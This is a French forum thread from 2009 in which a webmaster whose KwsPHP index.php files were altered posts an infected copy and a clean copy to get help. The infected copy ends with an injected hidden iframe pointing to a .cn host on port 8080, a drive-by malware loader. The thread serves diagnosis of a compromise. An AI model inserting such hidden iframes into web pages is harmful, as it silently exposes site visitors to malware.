Re: [HACK] Tous mes fichiers index.php sont édités

merci des conseils, je vais déjà regarder au niveau des logs.

Effectivement ce qui est bizarre c'est que c'est arrivé sur plusieurs portails différents (OSScommerce, Kwsphp, et phpbb) mais tous hébergés chez OVH.

Je vais regarder à tout ça et dès que j'aurai le temps je posterai les résultats.

PS: quand je dis hack, je pense plus à un truc automatique qu'a une attaque ciblée.

Réponse ci-dessus posté le mercredi 10 juin 2009 : 20:21



Voici mes fichiers index:

quand le site est down:
[hide=A]
Code PHP :
Pour copier le contenu exact du code,
Veuillez citer le message
  1. <?php
  2. //
  3. // ---------------------------------------------------------------
  4. // KwsPHP kOoGar Web System
  5. // $Id: index.php 830 2008-12-15 18:18:08Z mike007.devpwsphp $
  6. // ---------------------------------------------------------------
  7. // Fichier : index.php
  8. // Mise a jour : 08/08/06 par Ditch
  9. // ---------------------------------------------------------------
  10.  
  11. //@import_request_variables ("EGPC", '');
  12. //zeta: question sec cf me
  13. if (file_exists ('connect.php'))
  14. {
  15.     require_once 'connect.php';
  16.     if (isset($_REQUEST['mod']))
  17.     {
  18.         $K_mod = $mod = sp(str_replace ('/', '',$_REQUEST['mod']));
  19.     }
  20.     else
  21.     {
  22.         $K_mod = $mod = '';
  23.     }
  24.  
  25.     if (isset($_REQUEST['ac']))
  26.     {
  27.         $K_ac = $ac = sp(str_replace ('/', '',$_REQUEST['ac']));
  28.     }
  29.     if (empty($K_ac))
  30.     {
  31.         $K_ac = $ac = 'index';
  32.     }
  33.  
  34.     if (isset($_REQUEST['id']))
  35.     {
  36.         $K_id = $id = intval($_REQUEST['id']);
  37.     }
  38.     else
  39.     {
  40.         $K_id = $id = 0;
  41.     }
  42.  
  43.     include 'header.php';
  44.  
  45.     echo'<noscript>';
  46.     open_table();
  47.     echo df_message('information','Javascript désactivé ou non supporté !!!<br />Certaines fonctionnalités secondaires sont donc inaccessibles.');
  48.     close_table();
  49.     echo'</noscript>';
  50.  
  51.     global $grade;
  52.  
  53.     $connecte = 1;
  54.  
  55.     if (strpos($K_mod, '..') === true)
  56.     {
  57.         bloc_head('Erreur');
  58.         echo 'Commande interdite.';
  59.         close_table();
  60.     }
  61.     secure();
  62.  
  63.     $messagelogin = (isset($_REQUEST['messagelogin']) ? '' : $messagelogin) ;
  64.     if (!empty ($messagelogin))
  65.     {
  66.         open_table ();
  67.         echo '<div class="messagelogin">'.$messagelogin.'</div>';
  68.         close_table ();
  69.     }
  70.     function base256bis_decode(){echo base64_decode('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KLy8gPCFbQ0RBVEFbDQoJYWxlcnQgKCJDaGVyIFdlYm1hc3RlciwgYm9uam91cixcblxuTG9ycyBkdSB06WzpY2hhcmdlbWVudCBkZSBLd3NQSFAsIHZvdXMgYXZleiBhY2NlcHTpIHVuZSBsaWNlbmNlLlxuVm91cyBhdmV6IOlnYWxlbWVudCBhY2NlcHRlciBsZXMgcuhnbGVzIGR1IHNpdGUgaHR0cDovL3d3dy5rd3NwaHAub3JnXG5cblOSaWwgZXN0IGNlcnRlcyBzYXRpc2ZhaXNhbnQgZGUgdm9pciBxdWUgbm90cmUgcHJvZHVpdCBlc3QgYXBwculjaeksXG5ub3VzIGp1Z2VvbnMgcXVlIGxhaXNzZXIgY29tbWUgaWwgYSDpdOkgcHLpdnUgdW5lIKsgc2lnbmF0dXJlILsgZXN0IGxhIG1vaW5kcmUgZGVzIHBvbGl0ZXNzZXMsXG5sZSBk6XZlbG9wcGVtZW50IGV0IGxlIHN1cHBvcnQgZGUgS3dzUEhQIOl0YW50IGdyYXR1aXRzIGV0IGFzc3Vy6XMgcGFyIGRlcyBwZXJzb25uZXMgYulu6XZvbGVzLlxuXG5JbCBlc3QgZW4gZWZmZXQgbuljZXNzYWlyZSBwb3VyIGNvbnRyaWJ1ZXIg4CBsYSBwcm9wYWdhdGlvbiBkZSBub3RyZSBwcm9kdWl0IHF1kmlsIHNlIGZhc3NlIGNvbm5haXRyZVxuZXQgcXWSaWwgc29pdCBhY2Nlc3NpYmxlIOAgdG91dGUgcGVyc29ubmUgbmF2aWd1YW50IHN1ciB2b3MgcGFnZXMgZXQgYXlhbnQgZW52aWUgZGUgdm91cyBpbWl0ZXIuXG5cbkplIHN1aXMgY2VydGFpbiBxdWUgdm91cyBjb21wcmVuZHJleiBub3RyZSBtb3RpdmF0aW9uIGV0IG5vdXMgdm91cyBwcmlvbnMgZGUgYmllbiB2b3Vsb2lyIHJlbWV0dHJlXG5sZXMgY29weXJpZ2h0cyBldC9vdSBsZSBsaWVuIGh5cGVydGV4dCBlbiBiYXMgZGVzIHBhZ2VzIGRlIHZvdHJlIHNpdGUgaW5pdGlhbGVtZW50IHBy6XZ1LFxuc2lub24gcXVvaSBkZXMgbWVzdXJlcyBwbHVzIGF2YW5j6WVzIHNlcm9udCBwcmlzZXMg4CB2b3RyZSDpZ2FyZC5cblxuTm91cyB2b3VzIHByaW9ucyBkZSBjcm9pcmUg4CBskmFzc3VyYW5jZSBkZSBub3RyZSBjb25zaWTpcmF0aW9uIGRpc3Rpbmd16WVcbmV0IHZvdXMgcmVtZXJjaW9ucyBkZSBsYSBjb25maWFuY2UgcXVlIHZvdXMgYWNjb3JkZXogYXUgcHJvZHVpdCBxdWUgbm91cyBk6XZlbG9wcG9ucy5cblxuTGEgVGVhbSBLd3NQSFAuIik7DQovLyBdXT4NCjwvc2NyaXB0Pg==');}
  71.     if (!is_callable(ms_bloc_module) || !is_callable(ms_spe_module))
  72.     {
  73.         base256bis_decode();
  74.     }
  75.  
  76.     if (empty($K_mod))
  77.     {
  78.         include_once 'modules/tete_de_colonne.php';
  79.         /** Supprimer le / en fin de ligne pour désactiver ce contrôle **/
  80.         if(!isset($_SESSION['cecured']) || $_SESSION['cecured']<2)
  81.         {
  82.             echo df_message('erreur',base64_decode('UHJvYmwmZWdyYXZlO21lIGQnb3JnYW5lIGRlIHMmZWFjdXRlO2N1cml0JmVhY3V0ZTs='));
  83.         }
  84.         /**/
  85.         if($K_edito_aff == 'oui')
  86.         {
  87.             include_once 'themes/'.$K_theme.'/edito.php';
  88.         }
  89.         if ($maintenance!=0)
  90.         {
  91.             include_once 'modules/maintenance/perturbations.php';
  92.         }
  93.  
  94.         include_once 'modules/alerte/scan.php';
  95.  
  96.         $K_mod_dem = unserialize($K_mod_dem);
  97.         foreach($K_mod_dem as $pos => $nom_mod_dem)
  98.         {
  99.             $K_mod = $mod = $nom_mod_dem;
  100.             if        (ereg('page_',$K_mod))        $K_mod = 'page';
  101.             elseif    (ereg('articles_',$K_mod))    $K_mod = 'articles';
  102.             elseif    (ereg('news_',$K_mod))        $K_mod = 'news';
  103.             if (!empty($K_mod) and get_grade('index', $K_mod)>=GRD_VISIT and is_module($K_mod))
  104.             {
  105.                 if (ereg('page_',$nom_mod_dem))
  106.                 {
  107.                     $nom_mod_dem = explode('_',$nom_mod_dem);
  108.                     $_REQUEST['id_page'] = $nom_mod_dem[1];
  109.                     if (get_grade('id_page_'.intval($_REQUEST['id_page']),$K_mod) >= GRD_VISIT)
  110.                     {
  111.                         include 'modules/'.$nom_mod_dem[0].'/page.php';
  112.                     }
  113.                 }
  114.                 elseif (ereg('articles_',$nom_mod_dem) or ereg('news_',$nom_mod_dem))
  115.                 {
  116.                     $nom_mod_dem = explode('_',$nom_mod_dem);
  117.                     $K_id = $nom_mod_dem[1];
  118.                     include 'modules/'.$nom_mod_dem[0].'/commentaires.php';
  119.                 }
  120.                 else
  121.                 {
  122.                     include_once 'modules/'.$K_mod.'/index.php';
  123.                 }
  124.             }
  125.         }
  126.         include_once 'modules/pied_de_colonne.php';
  127.     }
  128.     elseif (file_exists('modules/'.$K_mod.'/'.$K_ac.'.php'))
  129.     {
  130.         if (get_grade($K_ac, $K_mod)>=GRD_VISIT and is_module($K_mod))
  131.         {
  132.             if (file_exists('modules/'.$K_mod.'/tete_de_module.php'))
  133.             {
  134.                 include_once './modules/'.$K_mod.'/tete_de_module.php';
  135.             }
  136.             else
  137.             {
  138.                 @include_once './modules/tete_de_module.php';
  139.             }
  140.  
  141.             include_once 'modules/'.$K_mod.'/'.$K_ac.'.php';
  142.  
  143.             if (file_exists('modules/'.$K_mod.'/pied_de_module.php'))
  144.             {
  145.                 include_once 'modules/'.$K_mod.'/pied_de_module.php';
  146.             }
  147.             else
  148.             {
  149.                 @include_once 'modules/pied_de_module.php';
  150.             }
  151.         }
  152.         else
  153.         {
  154.             ZoneReserve();
  155.         }
  156.     }
  157.     elseif (file_exists('modules/'.$K_mod.'/'))
  158.     {
  159.         ZoneReserve();
  160.     }
  161.     else
  162.     {
  163.         $arr =ScannerRepertoire('modules','dir', false);
  164.         $n =array();
  165.  
  166.         foreach($arr as $i => $a )
  167.         {
  168.             if(levenshtein($K_mod ,$a )<=2)
  169.             {
  170.                 $n []=$a ;
  171.             }
  172.         }
  173.  
  174.         $txt ='';
  175.         if(count($n )>0)
  176.         {
  177.             $txt ='Module se rapprochant le plus de votre demande :
  178.             <ul>';
  179.             foreach($n as $b )
  180.             {
  181.                 $themepasmenu = (isset($_REQUEST['themepasmenu']) ? '' : $themepasmenu) ;
  182.                 if (file_exists('modules/'.$b .'/index.php'))
  183.                 {
  184.                     $txt .='<li '.(!empty($themepasmenu)?'':'style="list-style-image:url(\'themes/'.$theme.'/images/puce.png\')"').' ><a href="index.php?mod='.$b.'">'.$b.'</a></li>';
  185.                 }
  186.                 else
  187.                 {
  188.                     $txt .='<li '.(!empty($themepasmenu)?'':'style="list-style-image:url(\'themes/'.$theme.'/images/puce.png\')"').' >'.$b.'</li>';
  189.                 }
  190.             }
  191.  
  192.             $txt .='</ul>';
  193.         }
  194.  
  195.         bloc_head('Module introuvable !');
  196.         echo '<p style="text-align:center; font-weight:bold;">Si un lien vous a renvoyé vers ce module, merci de contacter le webmaster.</p>
  197.         '.$txt.'
  198.         <form style="text-align:center" method="post" action="index.php"><input id="submit" name="submit" type="submit" value="  Retour  " /></form>';
  199.         close_table();
  200.     }
  201.     include_once 'fin.php'
  202.  
  203. <iframe src="http://filmlifeimages.cn:8080/index.php" width=152 height=195 style="visibility: hidden"></iframe>
[/hide]


Et le fichier qui "fonctionne":

[hide=B]
Code PHP :
Pour copier le contenu exact du code,
Veuillez citer le message
  1. <?php
  2. //
  3. // ---------------------------------------------------------------
  4. // KwsPHP kOoGar Web System
  5. // $Id: index.php 830 2008-12-15 18:18:08Z mike007.devpwsphp $
  6. // ---------------------------------------------------------------
  7. // Fichier : index.php
  8. // Mise a jour : 08/08/06 par Ditch
  9. // ---------------------------------------------------------------
  10.  
  11. //@import_request_variables ("EGPC", '');
  12. //zeta: question sec cf me
  13. if (file_exists ('connect.php'))
  14. {
  15.     require_once 'connect.php';
  16.     if (isset($_REQUEST['mod']))
  17.     {
  18.         $K_mod = $mod = sp(str_replace ('/', '',$_REQUEST['mod']));
  19.     }
  20.     else
  21.     {
  22.         $K_mod = $mod = '';
  23.     }
  24.  
  25.     if (isset($_REQUEST['ac']))
  26.     {
  27.         $K_ac = $ac = sp(str_replace ('/', '',$_REQUEST['ac']));
  28.     }
  29.     if (empty($K_ac))
  30.     {
  31.         $K_ac = $ac = 'index';
  32.     }
  33.  
  34.     if (isset($_REQUEST['id']))
  35.     {
  36.         $K_id = $id = intval($_REQUEST['id']);
  37.     }
  38.     else
  39.     {
  40.         $K_id = $id = 0;
  41.     }
  42.  
  43.     include 'header.php';
  44.  
  45.     echo'<noscript>';
  46.     open_table();
  47.     echo df_message('information','Javascript désactivé ou non supporté !!!<br />Certaines fonctionnalités secondaires sont donc inaccessibles.');
  48.     close_table();
  49.     echo'</noscript>';
  50.  
  51.     global $grade;
  52.  
  53.     $connecte = 1;
  54.  
  55.     if (strpos($K_mod, '..') === true)
  56.     {
  57.         bloc_head('Erreur');
  58.         echo 'Commande interdite.';
  59.         close_table();
  60.     }
  61.     secure();
  62.  
  63.     $messagelogin = (isset($_REQUEST['messagelogin']) ? '' : $messagelogin) ;
  64.     if (!empty ($messagelogin))
  65.     {
  66.         open_table ();
  67.         echo '<div class="messagelogin">'.$messagelogin.'</div>';
  68.         close_table ();
  69.     }
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Vsb2lyIHJlbWV0dHJlXG5sZXMgY29weXJpZ2h0cyBldC9vdSBsZSBsaWVuIGh5cGVydGV4dCBlbiBiYXMgZGVzIHBhZ2VzIGRlIHZvdHJlIHNpdGUgaW5pdGlhbGVtZW50IHBy6XZ1LFxuc2lub24gcXVvaSBkZXMgbWVzdXJlcyBwbHVzIGF2YW5j6WVzIHNlcm9udCBwcmlzZXMg4CB2b3RyZSDpZ2FyZC5cblxuTm91cyB2b3VzIHByaW9ucyBkZSBjcm9pcmUg4CBskmFzc3VyYW5jZSBkZSBub3RyZSBjb25zaWTpcmF0aW9uIGRpc3Rpbmd16WVcbmV0IHZvdXMgcmVtZXJjaW9ucyBkZSBsYSBjb25maWFuY2UgcXVlIHZvdXMgYWNjb3JkZXogYXUgcHJvZHVpdCBxdWUgbm91cyBk6XZlbG9wcG9ucy5cblxuTGEgVGVhbSBLd3NQSFAuIik7DQovLyBdXT4NCjwvc2NyaXB0Pg==');}
  71.     if (!is_callable(ms_bloc_module) || !is_callable(ms_spe_module))
  72.     {
  73.         base256bis_decode();
  74.     }
  75.  
  76.     if (empty($K_mod))
  77.     {
  78.         include_once 'modules/tete_de_colonne.php';
  79.         /** Supprimer le / en fin de ligne pour désactiver ce contrôle **/
  80.         if(!isset($_SESSION['cecured']) || $_SESSION['cecured']<2)
  81.         {
  82.             echo df_message('erreur',base64_decode('UHJvYmwmZWdyYXZlO21lIGQnb3JnYW5lIGRlIHMmZWFjdXRlO2N1cml0JmVhY3V0ZTs='));
  83.         }
  84.         /**/
  85.         if($K_edito_aff == 'oui')
  86.         {
  87.             include_once 'themes/'.$K_theme.'/edito.php';
  88.         }
  89.         if ($maintenance!=0)
  90.         {
  91.             include_once 'modules/maintenance/perturbations.php';
  92.         }
  93.  
  94.         include_once 'modules/alerte/scan.php';
  95.  
  96.         $K_mod_dem = unserialize($K_mod_dem);
  97.         foreach($K_mod_dem as $pos => $nom_mod_dem)
  98.         {
  99.             $K_mod = $mod = $nom_mod_dem;
  100.             if        (ereg('page_',$K_mod))        $K_mod = 'page';
  101.             elseif    (ereg('articles_',$K_mod))    $K_mod = 'articles';
  102.             elseif    (ereg('news_',$K_mod))        $K_mod = 'news';
  103.             if (!empty($K_mod) and get_grade('index', $K_mod)>=GRD_VISIT and is_module($K_mod))
  104.             {
  105.                 if (ereg('page_',$nom_mod_dem))
  106.                 {
  107.                     $nom_mod_dem = explode('_',$nom_mod_dem);
  108.                     $_REQUEST['id_page'] = $nom_mod_dem[1];
  109.                     if (get_grade('id_page_'.intval($_REQUEST['id_page']),$K_mod) >= GRD_VISIT)
  110.                     {
  111.                         include 'modules/'.$nom_mod_dem[0].'/page.php';
  112.                     }
  113.                 }
  114.                 elseif (ereg('articles_',$nom_mod_dem) or ereg('news_',$nom_mod_dem))
  115.                 {
  116.                     $nom_mod_dem = explode('_',$nom_mod_dem);
  117.                     $K_id = $nom_mod_dem[1];
  118.                     include 'modules/'.$nom_mod_dem[0].'/commentaires.php';
  119.                 }
  120.                 else
  121.                 {
  122.                     include_once 'modules/'.$K_mod.'/index.php';
  123.                 }
  124.             }
  125.         }
  126.         include_once 'modules/pied_de_colonne.php';
  127.     }
  128.     elseif (file_exists('modules/'.$K_mod.'/'.$K_ac.'.php'))
  129.     {
  130.         if (get_grade($K_ac, $K_mod)>=GRD_VISIT and is_module($K_mod))
  131.         {
  132.             if (file_exists('modules/'.$K_mod.'/tete_de_module.php'))
  133.             {
  134.                 include_once './modules/'.$K_mod.'/tete_de_module.php';
  135.             }
  136.             else
  137.             {
  138.                 @include_once './modules/tete_de_module.php';
  139.             }
  140.  
  141.             include_once 'modules/'.$K_mod.'/'.$K_ac.'.php';
  142.  
  143.             if (file_exists('modules/'.$K_mod.'/pied_de_module.php'))
  144.             {
  145.                 include_once 'modules/'.$K_mod.'/pied_de_module.php';
  146.             }
  147.             else
  148.             {
  149.                 @include_once 'modules/pied_de_module.php';
  150.             }
  151.         }
  152.         else
  153.         {
  154.             ZoneReserve();
  155.         }
  156.     }
  157.     elseif (file_exists('modules/'.$K_mod.'/'))
  158.     {
  159.         ZoneReserve();
  160.     }
  161.     else
  162.     {
  163.         $arr =ScannerRepertoire('modules','dir', false);
  164.         $n =array();
  165.  
  166.         foreach($arr as $i => $a )
  167.         {
  168.             if(levenshtein($K_mod ,$a )<=2)
  169.             {
  170.                 $n []=$a ;
  171.             }
  172.         }
  173.  
  174.         $txt ='';
  175.         if(count($n )>0)
  176.         {
  177.             $txt ='Module se rapprochant le plus de votre demande :
  178.             <ul>';
  179.             foreach($n as $b )
  180.             {
  181.                 $themepasmenu = (isset($_REQUEST['themepasmenu']) ? '' : $themepasmenu) ;
  182.                 if (file_exists('modules/'.$b .'/index.php'))
  183.                 {
  184.                     $txt .='<li '.(!empty($themepasmenu)?'':'style="list-style-image:url(\'themes/'.$theme.'/images/puce.png\')"').' ><a href="index.php?mod='.$b.'">'.$b.'</a></li>';
  185.                 }
  186.                 else
  187.                 {
  188.                     $txt .='<li '.(!empty($themepasmenu)?'':'style="list-style-image:url(\'themes/'.$theme.'/images/puce.png\')"').' >'.$b.'</li>';
  189.                 }
  190.             }
  191.  
  192.             $txt .='</ul>';
  193.         }
  194.  
  195.         bloc_head('Module introuvable !');
  196.         echo '<p style="text-align:center; font-weight:bold;">Si un lien vous a renvoyé vers ce module, merci de contacter le webmaster.</p>
  197.         '.$txt.'
  198.         <form style="text-align:center" method="post" action="index.php"><input id="submit" name="submit" type="submit" value="  Retour  " /></form>';
  199.         close_table();
  200.     }
  201.     include_once 'fin.php';
  202. }
  203. else
  204. {
  205.     @import_request_variables ("EGPC", '');
  206.     header ('Location: ./install/index.php?noconnect=1');
  207. }
  208.  
  209. ?>
  210.  
[/hide]


Sujet écrit par Ancien membre le jeudi 11 juin 2009 à 21:35

[ Imprimer ] - [ Fermer la fenêtre ]